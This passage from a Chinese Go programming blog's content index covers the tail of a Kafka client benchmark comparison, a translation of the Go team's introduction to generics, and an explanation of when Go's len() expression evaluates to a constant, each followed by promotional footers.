i \u0026lt; b.N; i++ { p.Produce(\u0026amp;ckafkago.Message{ TopicPartition: ckafkago.TopicPartition{Topic: \u0026amp;topic, Partition: ckafkago.PartitionAny}, Key: key, Value: m, }, nil) } } func BenchmarkConfluentKafkaGoAsyncInParalell(b *testing.B) { b.ReportAllocs() conf := ReadConfig(\u0026quot;./confluent-kafka-go.conf\u0026quot;) topic := \u0026quot;test\u0026quot; p, _ := ckafkago.NewProducer(\u0026amp;conf) go func() { for range p.Events() { } }() var mu sync.Mutex key := []byte(\u0026quot;\u0026quot;) b.ResetTimer() b.RunParallel(func(pb *testing.PB) { for pb.Next() { mu.Lock() p.Produce(\u0026amp;ckafkago.Message{ TopicPartition: ckafkago.TopicPartition{Topic: \u0026amp;topic, Partition: ckafkago.PartitionAny}, Key: key, Value: m, }, nil) mu.Unlock() } }) } 本地启动一个kafka服务，运行该benchmark：\n$go test -bench . goos: linux goarch: amd64 pkg: kafka_clients cpu: Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz BenchmarkSaramaAsync-4 802070 2267 ns/op 294 B/op 1 allocs/op BenchmarkSaramaAsyncInParalell-4 1000000 1913 ns/op 294 B/op 1 allocs/op BenchmarkKafkaGoAsync-4 1000000 1208 ns/op 376 B/op 5 allocs/op BenchmarkKafkaGoAsyncInParalell-4 1768538 703.4 ns/op 368 B/op 5 allocs/op BenchmarkConfluentKafkaGoAsync-4 1000000 3154 ns/op 389 B/op 10 allocs/op BenchmarkConfluentKafkaGoAsyncInParalell-4 742476 1863 ns/op 390 B/op 10 allocs/op 我们看到，虽然sarama在内存分配上有优势，但综合性能上还是segmentio/kafka-go最优。\n六. 小结 本文对比了Go社区的三个主流kafka客户端包：Shopify/sarama、confluent-kafka-go和segmentio/kafka-go。sarama应用最广，也是我研究时间最长的一个包，但坑也是最多的，放弃；confluent-kafka-go虽然是官方的，但是基于cgo，无奈放弃；最后，我们选择了segmentio/kafka-go，已经在线上运行了一段时间，至今尚未发现重大问题。\n不过，本文的对比仅限于作为Producer这块的场景，是一个“不完全”的介绍。后续如有更多场景的实践经验，还会再补充。\n本文中的源码可以在这里下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/03/28/the-comparison-of-the-go-community-leading-kakfa-clients/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-comparison-of-the-go-community-leading-kakfa-clients-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/03/28/the-comparison-of-the-go-community-leading-kakfa-clients\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/03/28/the-comparison-of-the-go-community-leading-kakfa-clients\"\u003ehttps://tonybai.com/2022/03/28/the-comparison-of-the-go-community-leading-kakfa-clients\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"一-背景\"\u003e一. 背景\u003c/h3\u003e\n\u003cp\u003e众所周知，\u003ca href=\"https://kafka.apache.org/\"\u003eKafka\u003c/a\u003e是Apache开源基金会下的明星级开源项目，作为一个开源的分布式事件流平台，它被成千上万的公司用于高性能数据管道、流分析、数据集成和关键任务应用。在国内，无论大厂小厂，无论是自己部署还是用像阿里云提供的Kafka云服务，很多互联网应用已经离不开Kafka了。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e互联网不拘泥于某种编程语言，但很多人不喜欢Kafka是由Scala/Java开发的。尤其是对于那些对某种语言有着“宗教般”虔诚、有着“手里拿着锤子，眼中满世界都是钉子”的程序员来说，总是有想重写Kafka的冲动。但就像很多新语言的拥趸想重写Kubernetes一样，Kafka已经建立起了巨大的起步和生态优势，短期很难建立起同样规格的巨型项目和对应的生态了(近两年同样火热的类Kafka的\u003ca href=\"https://github.com/apache/pulsar\"\u003eApache pulsar\u003c/a\u003e创建时间与Kafka是先后脚的，只是纳入Apache基金会托管的时间较晚)。\u003c/p\u003e","title":"Go社区主流Kafka客户端简要对比"},{"content":"\n本文永久链接 – https://tonybai.com/2022/03/25/intro-generics\nGo核心团队在官博上发布了一篇名为《An Introduction To Generics》的文章，该文章基于Robert Griesemer和Ian Lance Taylor在2021年GopherCon大会上的演讲，这是Go团队发布Go 1.18版本后官博发表的首篇有关Go泛型的文章，值得大家认真阅读，这里将全文做一下翻译，供大家参考。\n简介 这篇博文是基于我们在2021年GopherCon上的演讲。\nGo 1.18版本增加了对泛型的支持。泛型是我们自Go语言开源以来对Go做出的一次最大的变更。在这篇文章中，我们将介绍这个新的语言特性。我们不会面面俱到的讲解泛型语法特性的所有细节，但我们会介绍所有我们认为重要的内容。关于Go泛型语法更为详细的描述以及示例，请看Go泛型的提案文件。关于语言变化的更精确描述，请看更新后的Go语言规范。(请注意，实际的1.18实现对提案文件所允许的内容施加了一些限制；现阶段，更新后的语言规范应该是更准确的。未来的Go版本可能会取消Go 1.18实现中的某些限制）。\n泛型是一种编程范式，这种范式与特定的类型无关，泛型允许在函数和类型的实现中使用某个类型集合中的任何一种类型。\n泛型在Go语言中增加了三个新的重要内容：\n函数和类型新增对**类型形参(type parameters)的支持。 将接口类型定义为类型集合，包括没有方法的接口类型。 支持类型推导，大多数情况下，调用泛型函数时可省略类型实参(type arguments)。 类型形参(Type Parameters) 现在，函数和类型被允许拥有类型形参(Type Parameters)。一个类型形参列表看起来和普通的函数形参列表一样，只是它使用的是方括号而不是小括号。\n为了说明这一点，让我们先看一个用于浮点值的基本的、非泛型的Min函数：\nfunc Min(x, y float64) float64 { if x \u0026lt; y { return x } return y } 我们可以通过添加一个类型形参列表来使这个函数泛型化，以使其适用于不同的类型。在这个例子中，我们添加了一个仅有一个类型形参T的类型形参列表，并用T替换float64的使用。\nfunc GMin[T constraints.Ordered](x, y T) T { if x \u0026lt; y { return x } return y } 现在我们可以像下面代码那样，用一个类型实参(Type argument)来调用这个函数了：\nx := GMin[int](2, 3) 向GMin函数提供类型实参，在本例中是int，称为实例化(instantiation)。实例化分两步进行。首先，编译器在整个泛型函数或泛型类型中把所有的类型形参替换成它们各自的类型实参。第二，编译器验证每个类型实参是否满足各自的约束条件。我们很快就会知道这意味着什么，但是如果第二步失败，实例化就会失败，程序也会无效。\n在成功的实例化之后，我们就有一个非泛型的函数了，它可以像其他普通函数一样被调用。比如下面的代码：\nfmin := GMin[float64] m := fmin(2.71, 3.14) GMin[float64]的实例化产生了一个与Min函数等效的函数，我们可以在函数调用中使用它。\n类型参数也可以与类型一起使用。\ntype Tree[T interface{}] struct { left, right *Tree[T] value T } func (t *Tree[T]) Lookup(x T) *Tree[T] { ... } var stringTree Tree[string] 在上面这个例子中，泛型类型Tree存储了类型参数T的值。泛型类型也可以有方法，比如本例中的Lookup。为了使用一个泛型类型，它必须被实例化；Tree[string]是一个用类型实参string来实例化Tree的例子。\n类型集合(Type sets) 让我们深入了解一下可以用来实例化一个类型形参的类型实参。\n一个普通函数的每个值形参(译注：value parameter，相对于类型形参type parameter)都有一个对应的类型；该类型定义了一组值。例如，上面的非泛型函数Min有一个float64类型的形参，那么函数Min允许的实参值集合就是可以由float64类型表示的浮点值集合。\n同样地，类型形参列表中的每个类型形参都有一个类型。因为类型形参本身就是一个类型，所以类型形参的类型定义了类型的集合。这种元类型(meta-type)被称为类型约束(type constraint)。\n在泛型函数GMin中，类型约束是从constraints包中导入的。Ordered约束描述了所有类型的集合，这些类型的值可以被排序，或者换句话说，用\u0026lt;运算符（或\u0026lt;= , \u0026gt; , 等）进行比较。该约束确保只有具有可排序值的类型才能被传递给GMin。这也意味着在GMin的函数体中，该类型参数的值可以被用于\u0026lt;运算符的比较。\n在Go中，类型约束必须是接口。也就是说，一个接口类型可以作为一个值类型使用，也可以作为一个元类型(meta-type)使用。接口定义了方法，所以显然我们可以使用要求某些方法存在的类型约束。但是constraints.Ordered也是一个接口类型，而且\u0026lt;操作符也不是一个方法。\n为了使其发挥作用，我们以一种新的方式来看待接口。\n直到最近(译注：该演讲发生在Go 1.18发布之前，这里的最近是Go 1.18发布之前的某个时间点)，Go规范说，一个接口定义了一个方法集合，大略就是接口中列举的方法集合。任何实现了所有这些方法的类型都实现了该接口。\n但另一种看法是，接口定义了一个类型集合(type set)，即实现这些方法的类型。从这个角度来看，任何属于接口定义的类型集合中的元素的类型都实现了该接口。\n这两种观点殊途同归。对于每个方法集合，我们可以想象出实现这些方法的类型组成的类型集合，这就是接口所定义的类型集合。\n不过对于我们的目的来说，类型集合的观点比方法集合的观点更有优势：我们可以明确地将类型添加到集合中，从而以新的方式控制类型集合。\n我们已经扩展了接口类型的语法，以使其发挥作用。例如，interface{ int|string|bool }定义了包含int、string和bool的类型集合。\n另一种说法是，这个接口只被int、string或bool所满足。\n现在我们来看看contraints.Ordered的实际定义。\ntype Ordered interface { Integer|Float|~string } 这个声明说的是，Ordered接口是所有整数、浮点和字符串类型的集合。竖线表达了类型（或者说这里是类型集合）的联合(union)。Integer和Float是接口类型，在constraints包中也有类似的定义。注意，Ordered接口没有定义任何方法。\n对于类型约束，我们通常不关心某一个特定的类型，比如字符串；我们对所有的字符串类型感兴趣。这就是标记的作用。表达式string意味着底层类型(underlying type)为string的所有类型的集合。这包括string类型本身，以及所有用类似type MyString string声明的类型。\n当然，我们仍然想在接口中指定方法，而且我们想向后兼容。在Go 1.18中，一个接口可以像以前一样包含方法和嵌入接口，但它也可以嵌入非接口类型、联合体(union)和底层类型的集合。\n当作为类型约束使用时，由接口定义的类型集合准确地指定了允许作为各自类型形参的类型实参的类型。在一个泛型函数体中，如果一个操作数的类型是带有约束C的类型形参P，那么如果操作被C的类型集合中的所有类型所允许，那么这些操作就是允许的（目前这里有一些实现限制，但是普通代码不太可能遇到这些限制）。\n用作约束的接口可以被赋予名称（比如Ordered），也可以是内联到类型形参列表中的接口字面值，比如下面代码：\n[S interface{~[]E}, E interface{}] 这里S必须是一个切片类型，切片的元素类型可以是任何类型。\n因为这是一种常见的情况，所以对于处于约束位置的接口，用作包围的interface{}可以被省略，我们可以简单地写成下面这样：\n[S ~[]E, E interface{}] 因为空接口在类型形参列表中很常见，在普通的Go代码中也是如此，Go 1.18引入了一个新的预声明的标识符any作为空接口类型的别名。这样一来，我们就得到了下面这段符合惯用法的代码：\n[S ~[]E, E any] 作为类型集合的接口是一种强大的新机制，是使类型约束在Go中发挥作用的关键。目前，使用新语法形式的接口只能作为约束使用。但不难想象，显式指明类型约束的接口在一般情况下是多么有用。\n类型推导(Type inference) 最后一个主要的语言新特性是类型推导。在某些方面，这是语言最复杂的变化，但它很重要，因为它让人们在编写调用泛型函数的代码时使用一种更为自然的风格。\n函数实参类型推导(Function argument type inference) 有了类型形参，我们就需要传递类型实参，这可能使代码变得冗长。回到我们的泛型GMin函数：\nfunc GMin[T constraints.Ordered](x, y T) T { ... } 类型形参T用于指定普通non-type参数x和y的类型。正如我们前面所看到的，我们可以用一个显式类型实参来调用它：\nvar a, b, m float64 m = GMin[float64](a, b) // 显式传递类型实参 在许多情况下，编译器可以从普通参数中推导出T的类型实参。这使得代码更短，同时保持清晰：\nvar a, b, m float64 m = GMin(a, b) // 没有传入类型实参 其原理是将实际参数a和b的类型与形式参数x和y的类型相匹配。\n这种从函数的实参类型推导出类型实参的推导方式，被称为函数实参类型推导。\n函数实参类型推导只适用于在函数参数中使用的类型形参的情况，不适用于只在函数返回值中使用的类型形参或只在函数主体中使用的类型形参的情况。例如，它不适用于像MakeTT any T这样的函数，它只在返回值参数列表中使用了类型形参T。\n约束类型推导(Constraint type inference) Go语言还支持另一种类型推导，即约束类型推导。为了说明这类推导，让我们从下面这个缩放整数切片的例子开始：\n// Scale返回一个s的副本，每个元素都乘以c。 // 这个实现有一个问题，正如我们将看到的。 func Scale[E constraints.Integer](s []E, c E) []E { r := make([]E, len(s)) for i, v := range s { r[i] = v * c } return r } 这是一个泛型函数，适用于任何整数类型的切片。\n现在，假设我们有一个多维的Point类型，其中每个Point只是一个表示该点坐标的整数列表。自然，这个类型会有一些方法。\ntype Point []int32 func (p Point) String() string { // 实现细节不重要 } 有时我们想对一个点进行缩放。因为一个点是一个整数切片，我们可以使用我们之前写的Scale函数。\n// ScaleAndPrint将一个点加倍并打印出来。 func ScaleAndPrint(p Point) { r := Scale(p, 2) fmt.Println(r.String()) // 无法通过编译 } 不幸的是，这无法通过编译，编译器将给出r.String undefined (type []int32 has no field or method String) 这样的错误。\n问题在于Scale函数返回一个[]E类型的值，其中E是参数切片的元素类型。当我们用一个Point类型的值调用Scale时，它的底层类型是[]int32，我们得到的是一个[]int32类型的值，而不是Point类型。这是由泛型代码的写法决定的，但这并不是我们想要的。\n为了解决这个问题，我们必须改变Scale函数，使其使用一个类型参数来表示分片类型。\n// Scale returns a copy of s with each element multiplied by c. func Scale[S ~[]E, E constraints.Integer](s S, c E) S { r := make(S, len(s)) for i, v := range s { r[i] = v * c } return r } 我们引入了一个新的类型参数S，用于表示切片参数的类型。我们对它进行了约束，使其底层类型是S而不是[]E，返回值类型现在是S。由于E被约束为一个整数，其效果与之前一样：第一个参数必须是某个整数类型的切片。该函数主体的唯一变化是，现在我们在调用make时传递S，而不是[]E。\n如果我们用一个普通的切片来调用它，新函数的作用和以前一样，但是如果我们用Point类型来调用它，我们现在得到一个Point类型的值。这就是我们想要的。有了这个版本的Scale，早先的ScaleAndPrint函数将如我们所期望的那样编译和运行。\n但你可能会问：为什么调用Scale时不显式传递类型实参也可以呢？也就是说，为什么我们可以写Scale(p, 2)，没有类型实参，而不是必须写Scale[Point, int32](p, 2)？我们的新Scale函数有两个类型参数，S和E。在不传递任何类型实参的Scale调用中，上面描述的函数实参类型推导让编译器推导出s的类型实参是Point。但该函数还有另外一个类型形参E，编译器推导出E的类型实参是切片的元素类型的过程被称为约束类型推导。\n约束类型推导是从类型形参约束中推导出类型实参。当一个类型形参的约束的定义中包含另一个类型形参时，它就会被使用。当这些类型形参中的一个的类型实参是已知的时候，该约束被用来推导另一个类型形参的类型实参。\n约束类型推导通用用于当一个约束对某些类型使用type的形式时，该type是用其他类型形参写的。我们在Scale的例子中看到了这一点。S是[]E，~后面的类型[]E用另一个类型形参E来写成的。如果我们知道S的类型实参，我们就可以推导出E的类型实参。S是一个切片类型，而E是该切片的元素类型。\n这只是对约束类型推导的一个介绍。完整的细节请参见提案文档文件或语言规范。\n类型推导实践 类型推导的工作原理细节很复杂，但使用它并不复杂：类型推导要么成功要么失败。如果它成功了，类型实参可以被省略，调用泛型函数看起来与调用普通函数没有什么不同。如果类型推导失败，编译器会给出一个错误信息，在这些情况下，我们可以直接提供必要的类型实参。\n在向语言添加类型推导时，我们试图在推导能力和复杂性之间取得平衡。我们想确保当编译器推导出类型时，这些类型永远不会令人惊讶。我们试图小心翼翼地站在未能推导出类型的一边，而不是站在推导出错误类型的一边。我们可能没有完全做到这一点，而且我们可能会在未来的版本中继续完善它。其效果是，更多的程序可以无需显式提供类型实参。今天不需要类型实参的程序，明天也不会需要。\n小结 泛型是1.18中一个很大的新语言特性。这些新的语言变化需要大量的新代码，这些代码还没有在生产环境中进行过大量的测试。这只会随着越来越多的人编写和使用泛型代码而发生。我们相信这个功能实现得很好，质量很高。然而，与Go的大多数方面不同，我们无法用现实世界的经验来支持这一信念。因此，虽然我们鼓励在有意义的地方使用泛型，但在生产中部署泛型代码时，请使用适当的谨慎措施。\n除此以外，我们很高兴能提供泛型，并希望它们能使Go程序员的工作效率更高。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/03/25/intro-generics/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/intro-generics-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/03/25/intro-generics\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/03/25/intro-generics\"\u003ehttps://tonybai.com/2022/03/25/intro-generics\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo核心团队在官博上发布了一篇名为\u003ca href=\"https://go.dev/blog/intro-generics\"\u003e《An Introduction To Generics》\u003c/a\u003e的文章，该文章基于Robert Griesemer和Ian Lance Taylor在2021年GopherCon大会上的演讲，这是\u003ca href=\"https://mp.weixin.qq.com/s/RY4tIxuKFIem8z9QHgsCPA\"\u003eGo团队发布Go 1.18版本\u003c/a\u003e后官博发表的首篇有关Go泛型的文章，值得大家认真阅读，这里将全文做一下翻译，供大家参考。\u003c/p\u003e","title":"Go泛型介绍[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2022/03/24/the-result-of-a-len-expression-is-constant-or-variable\nlen是Go预定义标识符，同时也是Go内置的预定义函数，通过go doc工具我们能查到len函数的doc如下：\n$go doc builtin.len package builtin // import \u0026#34;builtin\u0026#34; func len(v Type) int The len built-in function returns the length of v, according to its type: Array: the number of elements in v. Pointer to array: the number of elements in *v (even if v is nil). Slice, or map: the number of elements in v; if v is nil, len(v) is zero. String: the number of bytes in v. Channel: the number of elements queued (unread) in the channel buffer; if v is nil, len(v) is zero. For some arguments, such as a string literal or a simple array expression, the result can be a constant. See the Go language specification\u0026#39;s \u0026#34;Length and capacity\u0026#34; section for details. 对于len函数，即便是Go初学者也不会陌生，因为在日常Go开发中，len是一个高频使用的函数。len的参数主要是复合数据类型的变量，比如数组(包括执行数组的指针类型)、切片、字符串、channel等，返回的结果是这些复合数据变量的长度(length)，是一个int类型的值。太多细节我就不说了，大家可能也都很熟悉。我要说的是，关于len函数的一个大家可能不熟悉的或不太在意的地方，那就是len(s)表达式在什么时候的求值结果为一个常量(constant)，什么时候的求值结果为变量。别忽视这个细节，这很可能让你的程序输出你意想不到的结果，下面我就来举例说明。\n这个例子来自于《Go 101》的作者老貘的在推特上发的一个go quiz，其问题原貌是这样的：\npackage main func f() int { return 1 } var x = [8]int{f()} var p byte = ( 1 \u0026lt;\u0026lt; len([8]int{f()}) ) / 2 var q byte = ( 1 \u0026lt;\u0026lt; len(x) ) / 2 func main() { println(p, q) } 问上面的例子的输出结果是什么！\n来给你五分钟思考一下！… …\n好了，思考时间结束！估计你已经在Go playground或Go编译器上运行过这个quiz并已经得到正确答案了：0 128。\n不论你是自己推导出来的，还是通过运行源码得到的结果，现在你来告诉我上述quiz输出0 128的原因！\n我估计很多人和我最初一样，也是“丈二和尚摸不着头脑”！\nlen的返回值不是int么？为什么赋值给类型为byte的p或q没有报编译错误？ 为什么p是0，而q是128呢？\n… … 下面是我的分析，大家参考一下，看看能否回答你的疑问：\n首先一点，p、q的唯一不同是q变量声明的右侧的表达式直接使用的是数组x的长度：len(x)，而p变量声明的右侧表达式中len函数的参数为[8]int{f()}，这是一个临时数组且包含了带有函数调用的元素赋值操作。显然这个差异决定了最终结果的不同。\n针对Go语言细节上的疑问，Go官方的语言spec才是最权威的参考资料。打开Go language spec，定位到Length and capacity一节，我们看到其中关于len(s)表达式求值结果的说明如下：\nThe expression len(s) is constant if s is a string constant. The expressions len(s) and cap(s) are constants if the type of s is an array or pointer to an array and the expression s does not contain channel receives or (non-constant) function calls; in this case s is not evaluated. Otherwise, invocations of lenand cap are not constant and s is evaluated. 这段话的大致含义是，对于len(s)这个表达式来说，\n如果s是一个字符串常量，那么len(s)表达式也是一个常量(constant)； 如果s是一个数组或指向数组的指针并且表达式s中不包含channel接收调用或非常量(non-constant)的函数调用，那么len(s)表达式是常量，这种情况下我们无需对s进行求值。 其余情况，len(s)表达式的结果都不是常量，都需要对s进行求值(evaluate)。 怎么理解第二条中的“非常量函数调用”呢？Go spec中给了一个例子：\nvar z complex128 const ( c4 = len([10]float64{imag(2i)}) // imag(2i) is a constant and no function call is issued c5 = len([10]float64{imag(z)}) // invalid: imag(z) is a (non-constant) function call ) 例子中，c4和c5两个声明的右侧都是对数组进行的len函数调用。c4中的len(s)中的s为[10]float64{imag(2i)}，这是一个数组，它包含一个imag函数调用，但由于imag的参数为一个常量，因此imag的调用返回也是常量，不是一次non-constant的函数调用，因此，c4声明语句右侧的len表达式实质是一个常量。\nc5中的len(s)中的s为[10]float64{imag(z)}，这同样是一个数组，并同样包含了imag函数调用，不同的是imag的参数为一个complex128类型的变量，因此imag函数这次调用是一次non-constant的函数调用，返回值不能作为常量，于是针对这样的s，len表达式的值也不会是常量，于是len表达式的值不能作为常量c5的初始值。\n有了上面的知识准备后，我们再来看上面的quiz中的变量p和q。我们先来看变量q：\nvar x = [8]int{f()} var q byte = ( 1 \u0026lt;\u0026lt; len(x) ) / 2 我们看到变量q右边的初值表达式中的len函数的参数为数组x，且该表达式(x)中不包含任何函数调用，这符合len(s)是常量的条件，于是len(x)就是一个常量，这也就意味着上面q的声明语句等价于下面的语句：\nvar q byte = ( 1 \u0026lt;\u0026lt; 8 ) / 2 等价语句的等号右侧就是一个无类型的整型字面值常量，这个常量值在编译期就完成了计算，值为128，类型为byte的变量q可以存储下128这个数值，于是q就等于128（关于无类型常量的特性，在我的“Go语言第一课”中有详细讲解）。\n我们再来看看变量p：\nvar p byte = ( 1 \u0026lt;\u0026lt; len([8]int{f()}) ) / 2 我们这里的len表达式中包含了一个f()的函数调用，f()是否是non-constant函数调用呢？用下面的代码测试一下就知道了：\nfunc f() int { return 1 } const ( b byte = imag(2i) // ok c byte = f() // 编译器错误：f() (value of type int) is not constant ) 我们看到f()不是一个像imag那样的常量函数调用，因此p变量声明中的len(s)不是一个常量。那么该len(s)表达式在给变量p赋值时就需要有一个表达式求值的过程。\n那么( 1 \u0026lt;\u0026lt; len([8]int{f()}) ) / 2这个表达式的求值过程又是如何的呢？这是一个左移操作符(\u0026lt;\u0026lt;)，该操作符左边的操作数为无类型常量1，那么在这个表达式的求值过程中，1的类型究竟是什么呢？是无类型常量的默认类型int还是等号左边的变量类型byte呢？\n我们又要求助于go spec了，go spec中关于左移/右移表达式有一段说明如下：\nThe right operand in a shift expression must have integer type or be an untyped constant representable by a value of type uint. If the left operand of a non-constant shift expression is an untyped constant, it is first implicitly converted to the type it would assume if the shift expression were replaced by its left operand alone. 其大致意思是shift表达式中的右操作数必须是一个整型类型或是一个可由uint类型值表示的无类型常量。如果一个非常量的shift表达式的左操作数是一个无类型常量，它会被首先隐式转换为一种类型，什么类型呢？就是将整个shift表达式用左操作数替换后左操作数的类型。\n最后这句太绕口，我们举个例子说明一下，下面例子来自go spec：\nvar s uint = 33 var j int32 = 1\u0026lt;\u0026lt;s 变量j的声明语句的右侧为shift表达式，且该shift表达式是一个非常量的shift表达式，其中无类型常量1的类型怎么确定呢？按照上面说法，该表达式中1的类型等价于下面语句中1的类型：\nvar j int32 = 1 // 用shift表达式的左操作数(1)替换整个shift表达式(1 \u0026lt;\u0026lt; s)后 我们看到1是无类型常量，它的最终类型取决于语句左侧的变量类型，于是1的类型为int32，最终1\u0026lt;\u0026lt;s的类型也就为int32(go spec: Arithmetic operators apply to numeric values and yield a result of the same type as the first operand)。\n好了，我们再回到变量p中的shift表达式。该表达式也不是常量shift表达式。这样其中1的类型就等价于下面语句中1的类型：\nvar p byte = 1 即1这个无类型常量的类型为byte，于是 1 \u0026lt;\u0026lt; len([8]int{f()})在左移8bit后溢出，结果是0，于是变量p的右侧表达式求值为0，p值也就为0。\nGo语言虽然以简单著称，但Go中的语法细节也并不少。老貘的这道go quiz题目非常考验大家对Go语言语法细节把握的功力！\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/03/24/the-result-of-a-len-expression-is-constant-or-variable/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-result-of-a-len-expression-is-constant-or-variable-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/03/24/the-result-of-a-len-expression-is-constant-or-variable\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/03/24/the-result-of-a-len-expression-is-constant-or-variable\"\u003ehttps://tonybai.com/2022/03/24/the-result-of-a-len-expression-is-constant-or-variable\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003elen\u003c/strong\u003e是\u003ca href=\"https://go.dev/ref/spec#Predeclared_identifiers\"\u003eGo预定义标识符\u003c/a\u003e，同时也是Go内置的预定义函数，通过go doc工具我们能查到len函数的doc如下：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ego doc builtin\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003elen\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epackage builtin \u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e import \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;builtin\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efunc\u003c/span\u003e len(v Type) \u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    The len built\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e function returns the length of v, according to its type:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eArray\u003c/span\u003e: the number of elements \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e v\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        Pointer to array: the number of elements \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ev (even \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e 